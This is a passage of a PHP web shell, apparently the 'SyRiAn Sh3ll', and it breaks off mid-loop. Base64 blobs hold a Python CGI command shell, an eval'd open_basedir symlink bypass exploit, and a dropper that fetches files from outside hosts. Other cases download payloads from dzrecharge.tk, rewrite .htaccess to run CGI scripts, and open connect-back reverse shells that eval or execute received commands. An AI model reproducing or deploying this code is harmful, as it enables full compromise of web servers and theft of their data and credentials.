+b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg +cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv +ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg +Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg +Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv +YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g +ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj +IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5 +OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y +dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz +dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy +b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj +IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs +aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt +c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw +NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg +PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F +VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj +IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl +cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi +IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g +aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs +dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu +Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g +d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg +aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg +ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk +XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt +W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv +cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg +PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y +IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg +ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z +aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+ +CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48 +ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl +cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs +ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg +Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr +IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1 +dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5 +ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n +IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj +IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj +cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6 +IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg +ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs +YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt +KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt +aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+ +PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS +PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg +ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg +ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv +dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy +aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv +biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv +bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ +TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh +bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg +ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD +SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0 +ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw +cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi'; + +$file = fopen("python.izo" ,"w+"); +$write = fwrite ($file ,base64_decode($pythonp)); +fclose($file); +� � chmod("python.izo",0755); +� �echo "<iframe src=python/python.izo width=100% height=100% +frameborder=0></iframe> "; +break; +case "PHP_8": + +$mode="cp";//????????????. +if($_REQUEST['bypass']!=$mode) +{ +� �echo "<iframe src=cp width=100% height=100% frameborder=0></iframe> "; +exit; +} +eval(base64_decode("LyoNClBIUCA1LjIuMTEvNS4zLjAgc3ltbGluaygpIG9wZW5fYmFzZWRpciBieXBhc3MgDQpieSBN +YWtzeW1pbGlhbiBBcmNpZW1vd2ljeiBodHRwOi8vc2VjdXJpdHlyZWFzb24uY29tLw0KY3hpYiBb +IGEuVF0gc2VjdXJpdHlyZWFzb24gWyBkMHRdIGNvbQ0KDQpDSFVKV0FNV01VWkcNCiovDQoNCiRm +YWtlZGlyPSJjeCI7DQokZmFrZWRlcD0xNjsNCg0KJG51bT0wOyAvLyBvZmZzZXQgb2Ygc3ltbGlu +ay4kbnVtDQoNCmlmKCFlbXB0eSgkX0dFVFsnZmlsZSddKSkgJGZpbGU9JF9HRVRbJ2ZpbGUnXTsN +CmVsc2UgaWYoIWVtcHR5KCRfUE9TVFsnZmlsZSddKSkgJGZpbGU9JF9QT1NUWydmaWxlJ107DQpl +bHNlICRmaWxlPSIiOw0KDQplY2hvICc8UFJFPjxpbWcNCnNyYz0iaHR0cDovL3NlY3VyaXR5cmVh +c29uLmNvbS9nZngvbG9nby5naWY/Y3g1MjExLnBocCI+PFA+VGhpcyBpcyBleHBsb2l0DQpmcm9t +IDxhDQpocmVmPSJodHRwOi8vc2VjdXJpdHlyZWFzb24uY29tLyIgdGl0bGU9IlNlY3VyaXR5IEF1 +ZGl0IFBIUCI+U2VjdXJpdHkgQXVkaXQNCkxhYiAtIFNlY3VyaXR5UmVhc29uPC9hPiBsYWJzLg0K +QXV0aG9yIDogTWFrc3ltaWxpYW4gQXJjaWVtb3dpY3oNCjxwPlNjcmlwdCBmb3IgbGVnYWwgdXNl +IG9ubHkuDQo8cD5QSFAgNS4yLjExIDUuMy4wIHN5bWxpbmsgb3Blbl9iYXNlZGlyIGJ5cGFzcw0K +PHA+TW9yZTogPGEgaHJlZj0iaHR0cDovL3NlY3VyaXR5cmVhc29uLmNvbS8iPlNlY3VyaXR5UmVh +c29uPC9hPg0KPHA+PGZvcm0gbmFtZT0iZm9ybSINCiBhY3Rpb249Ij9CYWNrQ29ubmVjdD1QSFBf +OCZieXBhc3M9Y3AiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGUi +IHNpemU9IjUwIg0KdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkZmlsZSkuJyI+PGlucHV0IHR5 +cGU9InN1Ym1pdCIgbmFtZT0iaHltIg0KdmFsdWU9IkNyZWF0ZSBTeW1saW5rIj48L2Zvcm0+JzsN +Cg0KaWYoZW1wdHkoJGZpbGUpKQ0KICAgIGV4aXQ7DQoNCmlmKCFpc193cml0YWJsZSgiLiIpKQ0K +ICAgIGRpZSgibm90IHdyaXRhYmxlIGRpcmVjdG9yeSIpOw0KDQokbGV2ZWw9MDsNCg0KZm9yKCRh +cz0wOyRhczwkZmFrZWRlcDskYXMrKyl7DQogICAgaWYoIWZpbGVfZXhpc3RzKCRmYWtlZGlyKSkN +CiAgICAgICAgbWtkaXIoJGZha2VkaXIpOw0KICAgIGNoZGlyKCRmYWtlZGlyKTsNCn0NCg0Kd2hp +bGUoMTwkYXMtLSkgY2hkaXIoIi4uIik7DQoNCiRoYXJkc3R5bGUgPSBleHBsb2RlKCIvIiwgJGZp +bGUpOw0KDQpmb3IoJGE9MDskYTxjb3VudCgkaGFyZHN0eWxlKTskYSsrKXsNCiAgICBpZighZW1w +dHkoJGhhcmRzdHlsZVskYV0pKXsNCiAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRoYXJkc3R5bGVb +JGFdKSkgDQogICAgICAgICAgICBta2RpcigkaGFyZHN0eWxlWyRhXSk7DQogICAgICAgIGNoZGly +KCRoYXJkc3R5bGVbJGFdKTsNCiAgICAgICAgJGFzKys7DQogICAgfQ0KfQ0KJGFzKys7DQp3aGls +ZSgkYXMtLSkNCiAgICBjaGRpcigiLi4iKTsNCg0KQHJtZGlyKCJmYWtlc3ltbGluayIpOw0KQHVu +bGluaygiZmFrZXN5bWxpbmsiKTsNCg0KQHN5bWxpbmsoc3RyX3JlcGVhdCgkZmFrZWRpci4iLyIs +JGZha2VkZXApLCJmYWtlc3ltbGluayIpOw0KDQovLyB0aGlzIGxvb3Agd2lsbCBza2lwIGFsbHJl +YWR5IGNyZWF0ZWQgc3ltbGlua3MuDQp3aGlsZSgxKQ0KICAgIGlmKHRydWU9PShAc3ltbGluaygi +ZmFrZXN5bWxpbmsvIi5zdHJfcmVwZWF0KCIuLi8iLCRmYWtlZGVwLTEpLiRmaWxlLA0KInN5bWxp +bmsiLiRudW0pKSkgYnJlYWs7DQogICAgZWxzZSAkbnVtKys7DQoNCkB1bmxpbmsoImZha2VzeW1s +aW5rIik7DQpta2RpcigiZmFrZXN5bWxpbmsiKTsNCg0KZGllKCc8Rk9OVCBDT0xPUj0iUkVEIj5j +aGVjayBzeW1saW5rIDxhDQpocmVmPSIuL3N5bWxpbmsnLiRudW0uJyI+c3ltbGluaycuJG51bS4n +PC9hPiBmaWxlPC9GT05UPicpOw==")); +break; +case "PHP_9": +� � mkdir('perltools', 0755); +� � chdir('perltools'); +$perltoolss = 'PD9waHAKLyoKCiovCmVjaG8gIjxodG1sPjx0aXRsZT5JbXBvcnRlciBUMDBseiB2LjQ8L3RpdGxl +PjxoZWFkPjxMSU5LIFJFTD0nU0hPUlRDVVQgSUNPTidIUkVGPSdodHRwOi8vd3d3LmhhY2stYm9v +ay5uZXQvZmF2aWNvbi5pY28nPjwvaGVhZD4KPHN0eWxlPmE6bGluayB7dGV4dC1kZWNvcmF0aW9u +Om5vbmU7fWE6aG92ZXIgeyAgICAgYm9yZGVyLWJvdHRvbTogMXB4IGRvdHRlZCAjYmEwMDAwO31h +OnZpc2l0ZWQge3RleHQtZGVjb3JhdGlvbjpub25lO308L3N0eWxlPgo8Ym9keSB0ZXh0PScjRkYw +MDAwJyBiZ2NvbG9yPScjMDAwMDAwJyBsaW5rPScjQ0NDQ0NDJyB2bGluaz0nIzgwODA4MCcgYWxp +bms9JyM5OTk5OTknPjxkaXYgYWxpZ249J2NlbnRlcic+PGJyPgo8aW1nIGJvcmRlcj0nMCcgc3Jj +PSdodHRwOi8vdXBsb2FkLnRyYWlkbnQubmV0L3VwZmlsZXMvbzhJOTk4MTAucG5nJyB3aWR0aD0n +NTY2JyBoZWlnaHQ9JzI4Myc+PC9kaXY+Cjxmb250IGZhY2U9J3RhaG9tYScgc2l6ZT0nMicgY29s +b3I9JyNmMzAwMDAnPjxicj48Yj48IS0tIGhhY2stYm9vay5uZXQgLS0+IjsKQHNldF90aW1lX2xp +bWl0KDApOwpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHwgRV9OT1RJQ0UpOwokeD1hcnJheSggImh0 +LnR4dCI9PiIuaHRhY2Nlc3MiLCAiY2dpLW5ldy50eHQiPT4iY2dpLnIxeiIsICJkby1uZXcudHh0 +Ij0+ImRvbWFpbi5yMXoiLCAidXNlci50eHQiPT4idXNlci5yMXoiLCAiY28udHh0Ij0+ImNvbmZp +Zy5yMXoiLCAic3ltLnR4dCI9PiJzeW1saW5rLnIxeiIsICJzcWwtbmV3LnR4dCI9PiJzcWwucGhw +IiwgInI1Ny50eHQiPT4icjU3LnBocCIsICJjcGFuZWwudHh0Ij0+ImNwYW5lbC5waHAiLCAiZG9t +YWlucy10eHQudHh0Ij0+ImRvbWFpbi5waHAiLCAiam9vbWxhLnR4dCI9PiJqb29tbGEucGhwIiwg +IndwLnR4dCI9PiJ3cC5waHAiLCAiY29uZmlnLXBocC50eHQiPT4iY29uZmlnLnBocCIsICJpbmku +dHh0Ij0+ImluaS5waHAiLCAidmIudHh0Ij0+InZiLnBocCIsICJpc3N3LnR4dCI9PiJpc3N3LnBo +cCIsICJwbnB4LWluaS50eHQiPT4icGhwLmluaSIsICk7CmZvcmVhY2goJHggYXMgJGQ9PiR6KXsg +JGZpbGUgPSBmb3BlbigkeiAsIncrIik7CiRyMHg9ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly93 +d3cubXVzaWM0ZnVuLm9yZy9yMHgzZC9yMHgvJy4kZCk7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUg +LCRyMHgpOwpmY2xvc2UoJGZpbGUpOwppZigkd3JpdGUpeyBlY2hvICJbK10gV3JpdGVkIDogPGEg +aHJlZj0nLi8keic+JHo8L2E+IDwvYnI+IjsKfWVsc2V7IGVjaG8gIlt+XSBDYW4ndCBXcml0ZSA6 +ICR6IDxicj4iOwp9CmNobW9kKCR6ICwgMDc1NSk7Cn0KZWNobyAiPC9iPjwvZm9udD48Yj48Yj48 +Zm9udCBmYWNlPSdUYWhvbWEnIHNpemU9JzInIGNvbG9yPScjQ0NDQ0NDJz48L2ZvbnQ+PC9iPjxm +b250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMicgY29sb3I9JyM5OTk5OTknPjxiPjwvYj48IS0tIC9o +YWNrLWJvb2submV0IC0tPjxicj48L2ZvbnQ+PC9iPjxwIGFsaWduPSdjZW50ZXInPjxmb250IGZh +Y2U9J1RhaG9tYScgc3R5bGU9J2ZvbnQtc2l6ZTogOXB0Jz48Zm9udCBjb2xvcj0nI0ZGRkZGRic+ +Q29kZWQgQnk8L2ZvbnQ+PGZvbnQgY29sb3I9JyNGRjAwMDAnPiBJcmFRaWFOLXIweCA8L2ZvbnQ+ +PGZvbnQgY29sb3I9JyNGRkZGRkYnPiB8PC9mb250Pjxmb250IGNvbG9yPScjRkYwMDAwJz4gPGEg +aHJlZj0naHR0cDovL3d3dy5oYWNrLWJvb2submV0L3ZiLyc+d3d3LkhhY2stQm9vay5uZXQ8L2E+ +PC9mb250PjwvZm9udD48L3A+PHAgYWxpZ249J2NlbnRlcic+PGZvbnQgZmFjZT0nVGFob21hJyBz +dHlsZT0nZm9udC1zaXplOiA5cHQnPkdyRUV0eiBUbzwvZm9udD48Zm9udCBmYWNlPSdUYWhvbWEn +IGNvbG9yPScjRkZGRkZGJyBzdHlsZT0nZm9udC1zaXplOiA5cHQnPiBbI11+PC9mb250Pjxmb250 +IGZhY2U9J1RhaG9tYScgY29sb3I9JyNDQ0NDQ0MnIHN0eWxlPSdmb250LXNpemU6IDlwdCc+IEth +cmFyIGFsU2hhTWk8L2ZvbnQ+PGZvbnQgZmFjZT0nVGFob21hJyBjb2xvcj0nI0ZGRkZGRicgc3R5 +bGU9J2ZvbnQtc2l6ZTogOXB0Jz58IEFuZCBBbGwgTXkgRnJpZW5kczwvcD48L2ZvbnQ+PGI+PGZv +bnQgZmFjZT0nVGFob21hJyBzaXplPScyJyBjb2xvcj0nI0ZGRkZGRic+PC9odG1sPiI7CiMgZGVj +cnlwdGVkOgojIGV2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJ0RaUkh6cVJvQWdYM2M0cmFk +WlZZNE9GRHJaNFJKdkdRMkFSeU04Sjc3emw5L3lkNFV1aEYvT2RYZnNUZDcvS3BoNktMdC94M0Vx +ODVSZncveTlNeHkzLy9KV1EyS3V5MnhMNEV4NW96cFVNeDBsRGZ0UmM0ZlE0ZTI1R2kxQ0FCaE1F +d0Juc3dwQnNNQW9rU1RIOUtrL3JRMEcxcW02b0xjTjFvUlgzb2NvZy85ZjJHNjh0NDJ0SHJzYW4x +M1l0ZkJtenhDY1Jld05ablNDZ3FFK0o1RVB2bVVONktwbnJKREphdUNqTG05SThVSnE4NXVNcDdI +Q2NuVk10emlGK2dKWWU2K05xdGdxbTg3azdWUHFmdmJkczZPWGoyV0F1dTdsMFJRdXZIRmk0bmF6 +cm1UZFZ2WFlLY2xQTjZnMkdkS292R2JYUmk3RW5sN295TjYzU1Myd0lkc3NydkgzRVEwK0tVUFk4 +d0QycHBVMGVnMVBEcU83ay81bXdiTkU2emVUTHRDV0ZYSW12cWs0dXFFZVpaT3BkUlMwU3BFRnFq +TU04R2dTNkxQQXlMZ2VSYk9JTzA5c1lZdG16NjNKdk1sUWFmTFlPOTRBbVB2ZUhNVmg4OW1tRml6 +L21xem5MUWRXSGZRU2gya1loUVN4SkhwZ21oU2NZcWlFV1VtYXFDMWhWcWRCS2djYnBoOWRZN2lj +NXdaTldiNy9KRkd3SnNnbC9rK081ZitlZEU3ZWtWZElGY0YvMytmSHhTdWJ3TlJiOXE1ZXlMUkNx +Q0ZLR29yb0RTVTFYTkZkS0xUVVhhMmUxRlRnTlBnSmYrSUZCN3l4NitaNFZGVGRCM2Z5b3hLT21t +cStSUnZ4TDVTSGdoNUJ5anN4Mjhrck92dHpXVjd3NEhxQ2lEUENGemZ6WnN5WHp2dFJxNmc0aUcz +NmZpYU1GVUN0eVk0bzdwdXRzaHRDSkdid3gyblE1MzlUSGpaQlFWdWtrRy95SFYzV0h2c21CUHlL +eHFVeEdyU1BFVjk1ajhwYWs4ZnJZeGFpSUtXako4d0pwM0Z1ZWZWZ2liTnhzK1drMWN0cXoyK3ZQ +VjhtZE5tdEpvSFRGWXByVVE3dE9Fd1pzcVB6WFJta2VXU3VtcFJZTmZmUjQrNVRDWjFXUFlFUmZi +VDAvbWRVaW9ibStPMlBHKzZDckoyNlZpeUJvRlM2dEFJZ2g1Sm1QM1BWYXdZSzVxUUc3VUJ5b2NX +OHBOMTEvaW91blpjZWp0VkFHaEduUE51QVdLOWM1SmRIbmRtZ01CUjhpbjNUR2JxeTN6L1lrMFNs +Zy9Jc2hHc0lsYjFNaVB1UmJCVWdRZnkrY3dyQ09HcUU0dHdKMkxXbTQ3cFJDTnljckl3Y0thczdC +Q3Q3K2diRFozcXYvNDdNQTVyTmpKbExDRDJ6SzhCTUhObURROTRDMldpZ1hna0VTZnIzOWNnVyty +Wlh5SmtweElKaU5NNTNGdTlBNG5vUWpUS0tUK1hHcUtaYXIyS0l2WVNOdkdZcjZYVVdvL3R4NFlS +UWFKQ0RQNThKRHFkN1RCUFlwME9OZll4YnQ5Tit1ZGhyT2pIRk1BUXB4eFg3NWEvWVE0OG0waXZz +dVk0UlhJVm9xcnZ0QW45UGVuRWZlcVAzMU0xTlhzV2hkZ3dwRWtDd21QYW0vbDFyZ3BNc2ZEZDJr +a2dJU3pLTGQvNlFnak1yb2dEVjlhYkZ1TUhsU0wzOFdNTkFTeWlWREE3TzZOWnVLUXVQYzh5K0cx +OU8rSFdJKytCOUlvZTVHcUdyYmoyTFdHdkNZNG56ZUlKWVdjZUpVTkQ5WXQvL0VhcmZxckloOVg1 +VC80RnZYOUt5RHNjanFhbXNOYWM4cWlvZzViaHdWMG5NaktIRzZqaUNvN21zSTlXNG1rVTUwaS9Y +VE5NMGEwVENjWjl4TTl2aWJ5bWFyMzdkSGRUMHZaOHJWR0lYU1Z0dkZLbytTZDNKTEhLYjQ1emd5 +TUw4N0xHbm5IUDBjaXVmT2JQWElOeGliVnFvcEtZN2R2VVRCb3d2dGFWTnJUb2w3ZnBYTTA1a0Vn +MVRPZW1oTXN1TTNBUHJvSnAyNTBmYTJhbk5ua0Z4dG9kYUlRU3ptYVJZeGZXanptT01nVEovNWFl +VVVhczZLa2VZK1A0ckRCbVZUalhPcS9mMVpqcExGcFp6bTR5MUc3MHk0a0tXWG4wZU9DM3VWZVVn +OGY0YktRQUM1Z21pRnBHSVpaOE05ZmYvNzgrZnZYLy83N0x3PT0nKSkpOwoKPz4='; + +$file = fopen("perlbypass.php" ,"w+"); +$write = fwrite ($file ,base64_decode($perltoolss)); +fclose($file); +� �echo "<iframe src=perltools/perlbypass.php width=100% height=100% +frameborder=0></iframe> "; +break; +case "PHP_10": + +� � mkdir('autoroot', 0755); +� � chdir('autoroot'); +$file = fopen("autoroot.txt" ,"w+"); + +$sa=file_get_contents('http://dzrecharge.tk/pv8L/1.txt'); + +$write = fwrite ($file ,$sa); + +fclose($file); + +if ($write) { + +echo "The File Was Created Successfuly.</br>"; + +} +else {echo'"error"';} + +$chm = chmod("autoroot.txt" , 0755); + +if ($chm == true){ +� � echo "chmoded the file to 755"; +}else{ +� � echo "sorry file didn't chmoded"; +} +break; +case "PHP_11": + +� � mkdir('cgi', 0755); +� � chdir('cgi'); +� � $file = fopen("jeentel" ,"w+"); +� � $sa=file_get_contents('http://dzrecharge.tk/pv8L/jeentel'); +� � $write = fwrite ($file ,$sa); +� � chmod("jeentel",0777); +� � $file = fopen("cgiPerl.dz" ,"w+"); +� � $sa=file_get_contents('http://dzrecharge.tk/pv8L/dz.txt'); +� � $write = fwrite ($file ,$sa); +� � chmod("cgiPerl.dz",0755); +� � � � $kokdosya = ".htaccess"; +� � � � $dosya_adi = "$kokdosya"; +� � � � $dosya = fopen ($dosya_adi , 'w') or die ("Dosya +a&#231;&#305;lamad&#305;!"); +� � � � $metin = "AddType application/x-httpd-cgi .dz +AddHandler cgi-script .dz"; +� � � � fwrite ( $dosya , $metin ) ; +� � � � fclose ($dosya); +� �echo "<iframe src=cgi/cgiPerl.dz width=100% height=100% +frameborder=0></iframe> "; +break; +case "PHP_12": + +{ +� � $ipz =$_SERVER["REMOTE_ADDR"]; +� � $portz ="22"; +� � if ($ipz == "" && $portz == ""){echo "Please fill IP Adress & The +listen Port";} +� � else +� � { +� � � � $ipaddr = $ipz; +� � � � $port = $portz; +� � � � if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";} +� � � � if (is_callable('stream_socket_client')) +� � � � { +� � � � � � $msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}"); +� � � � � � if (!$msgsock){die();} +� � � � � � $msgsock_type = 'stream'; +� � � � } +� � � � elseif (is_callable('fsockopen')) +� � � � { +� � � � � � $msgsock = fsockopen($ipaddr,$port); +� � � � � � if (!$msgsock) {die(); } +� � � � � � $msgsock_type = 'stream'; +� � � � } +� � � � elseif (is_callable('socket_create')) +� � � � { +� � � � � � $msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); +� � � � � � $res = socket_connect($msgsock, $ipaddr, $port); +� � � � � � if (!$res) {die(); } +� � � � � � $msgsock_type = 'socket'; +� � � � } +� � � � else {die();} +� � � � switch ($msgsock_type) +� � � � { +� � � � � � case 'stream': $len = fread($msgsock, 4); break; +� � � � � � case 'socket': $len = socket_read($msgsock, 4); break; +� � � � } +� � � � if (!$len) {die();} +� � � � $a = unpack("Nlen", $len); +� � � � $len = $a['len']; +� � � � $buffer = ''; +� � � � while (strlen($buffer) < $len) +� � � � { +� � � � � � switch ($msgsock_type) +� � � � � � { +� � � � � � � � case 'stream': $buffer .= fread($msgsock, +$len-strlen($buffer)); +� � � � � � � � break; +� � � � � � � � case 'socket': $buffer .= socket_read($msgsock, +$len-strlen($buffer)); +� � � � � � � � break; +� � � � � � } +� � � � } +� � � � eval($buffer); +� � � � echo "[*] Connection Terminated"; +� � � � die(); +� � } +} +break; +case "PHP_13": + +{ +� � � � $env = array('PATH' => +'/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'); +� � � � $descriptorspec = array( +� � � � 0 => array("pipe","r"), +� � � � 1 => array("pipe","w"), +� � � � 2 => array("file","/tmp/log.txt","a")); +� � � � $ipx =$_SERVER["REMOTE_ADDR"]; +� � � � $portx ="22"; +� � � � $proto=getprotobyname("tcp"); +� � � � if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0) +� � � � { die("[-] Socket Create Faile");} +� � � � if(($ret=socket_connect($sock,$ipx,$portx))<0) +� � � � { die("[-] Connect Faile");} +� � � � else{ +� � � � $message="----------------------PHP Connect-Back--------------------\n"; +� � � � $message.="----------------------- SyRiAn Sh3ll --------------------\n"; +� � � � socket_write($sock,$message,strlen($message)); +� � � � $cwd=str_replace('\\','/',dirname(__FILE__)); +� � � � while($cmd=socket_read($sock,65535,$proto)) +� � � � � �{ +� � � � � �if(trim(strtolower($cmd))=="exit"){socket_write($sock,"Bye +Bye\n");exit;} +� � � � � �else{ +� � � � � � $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env); +� � � � � � if (is_resource($process)) { +� � � � � � fwrite($pipes[0], $cmd); +� � � � � � fclose($pipes[0]); +� � � � � � $msg=stream_get_contents($pipes[1]); +� � � � � � 